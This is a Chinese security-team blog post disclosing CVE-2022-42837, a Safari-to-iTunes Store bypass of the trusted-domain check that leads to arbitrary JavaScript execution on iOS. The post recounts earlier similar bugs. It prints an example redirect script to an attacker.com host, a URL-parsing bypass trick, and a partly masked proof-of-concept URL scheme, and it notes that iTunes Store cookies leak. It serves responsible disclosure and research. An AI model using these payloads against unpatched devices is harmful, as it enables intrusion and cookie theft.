陌陌安全获Apple致谢:CVE-2022-42837 - iTunes Store之殇

阅读量119391

发布时间 : 2022-12-19 16:46:29

先为我们的同学@dwj1210鼓鼓掌👏。作为围观了整个漏洞从发现到最终形成本篇文章的同学。小编前面先说一句:本次漏洞发现非常巧合,前些天给WMCTF出题的时候,dwj同学突然小声念叨好像挖到了一个RCE。于是在出完题后,我们开始了给Apple提交漏洞帮助Apple修复的漫长之路,也就有了dwj这篇文章。以下就是dwj同学的自述:

为什么这里叫做 iTunes Store 之殇,是因为 iTunes Store App 任意 javascript 代码执行的漏洞已经被修了好几次了。

该漏洞由 Safari 浏览器 中的一个恶意页面引入,当你点击一个 URL Schemes 或 Universal Links 的链接时,可以通过这个特殊的 URL 调起指定 App 并传入攻击荷载。如果在 Safari浏览器中输入sms://可以调起信息 App,此时会有一个弹框询问是否允许打开。

但是一些内置的 Apple 应用程序是被 Safari 浏览器信任的,不会询问用户直接拉起,这些应用程序被硬编码在系统代码中:

早在 Pwn2Own 2014 年韩国黑客 lokihardt 通过一个特殊的 URL 在 iTunes Store 打开了任意的网页:

`

<script>
location = ‘itmss://attacker.com’;
</script>`

itms:// 就是 iTunes Store 注册的 URL Scheme,由于应用程序白名单的缘故不需要向用户询问就可以直接在 iTunes Store 中打开恶意的网页。

此时结合一个 UAF 就完成了沙箱逃逸加任意代码执行。

后面苹果加入了域名限制,只有域名后缀满足 trustedDomains 域名列表时才会打开,但是 lokihardt 又找到了一个信任域的 DOM xss 又打了一次。

之后沉寂多年,在 2020 年天府杯上,cc 师傅凭借完整的 full chain exploit 远程破解了搭载 iOS14.2 的 iPhone11 设备。

而该漏洞利用链的第一步依然是从 Safari 到 iTunes Store,不利用内存破坏,不执行 shellcode,通过一个特殊的 URL 可以绕过域名白名单的校验执行任意的 javascript 代码,触发 xss 弹计算器。

感兴趣的朋友可以直接研读 cc 师傅的文章:《CVE-2021-1748:从客户端 XSS 到弹计算器》 https://codecolor.ist/2021/08/04/mistuned-part-i/

而今天要介绍的依然是 iTunes Store 的任意 javascript 代码执行。

iTunes Store 中有一段逻辑,当传入的 URL Scheme 中有一个特殊的参数时,应用就会忽略 URL 的 host,直接加载 URL Scheme 参数中的 URL 进行加载,比如:

itms://<马赛克>&url=http://www.apple.com

iTunes Store 在启动的时候会从这个URL拉取一个 XML 文件,XML 文件中的 trustedDomains 字段中预置了 Apple 的可信域名:

只有页面的主机名和 trustedDomains 字段的后缀匹配,该页面才会被允许在 iTunes Store 中打开。

域名校验在-[ISURLBag urlIsTrusted:]函数中,但是该函数的域名校验存在缺陷。当你传入的 URL 为http://@www.apple.com:@www.hacker.com 时,iOS 系统在通过 -[NSURL host]函数取 host 时会取到www.apple.com,但是实际打开的页面却是 www.hacker.com。据了解在 Android 平台同样存在类似的问题。

所以我们就可以构造一个这样的 URL Scheme 来绕过域名校验打开一个任意的网页:

itms://<马赛克>&url=http%3A%2F%2F%40www.apple.com%3A%40172.16.136.27:1024%2Fpoc.html

该漏洞目前已于 iOS16.2 修复,不清楚可用最低版本,但是 iOS9 – iOS16.1.2 应该都是可用的。由于影响范围比较大,所以提供的 PoC 隐去了部分关键参数。

iTunes Store 打开网页使用的 SUWebView 通过 JavaScript bridge 注入了许多功能;SUWebView 将 SUScriptInterface 类的方法导出到 js 上下文中。这些 API 被放在全局作用域的 iTunes 命名空间里。

另外在这个 WebView 中向任意域名发送请求,都会带上部分 iTunes Store cookie 信息:

例行弹计算器:

本文由陌陌安全原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/284452

安全客 - 有思想的安全新媒体

分享到:微信
+15赞
收藏
陌陌安全
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66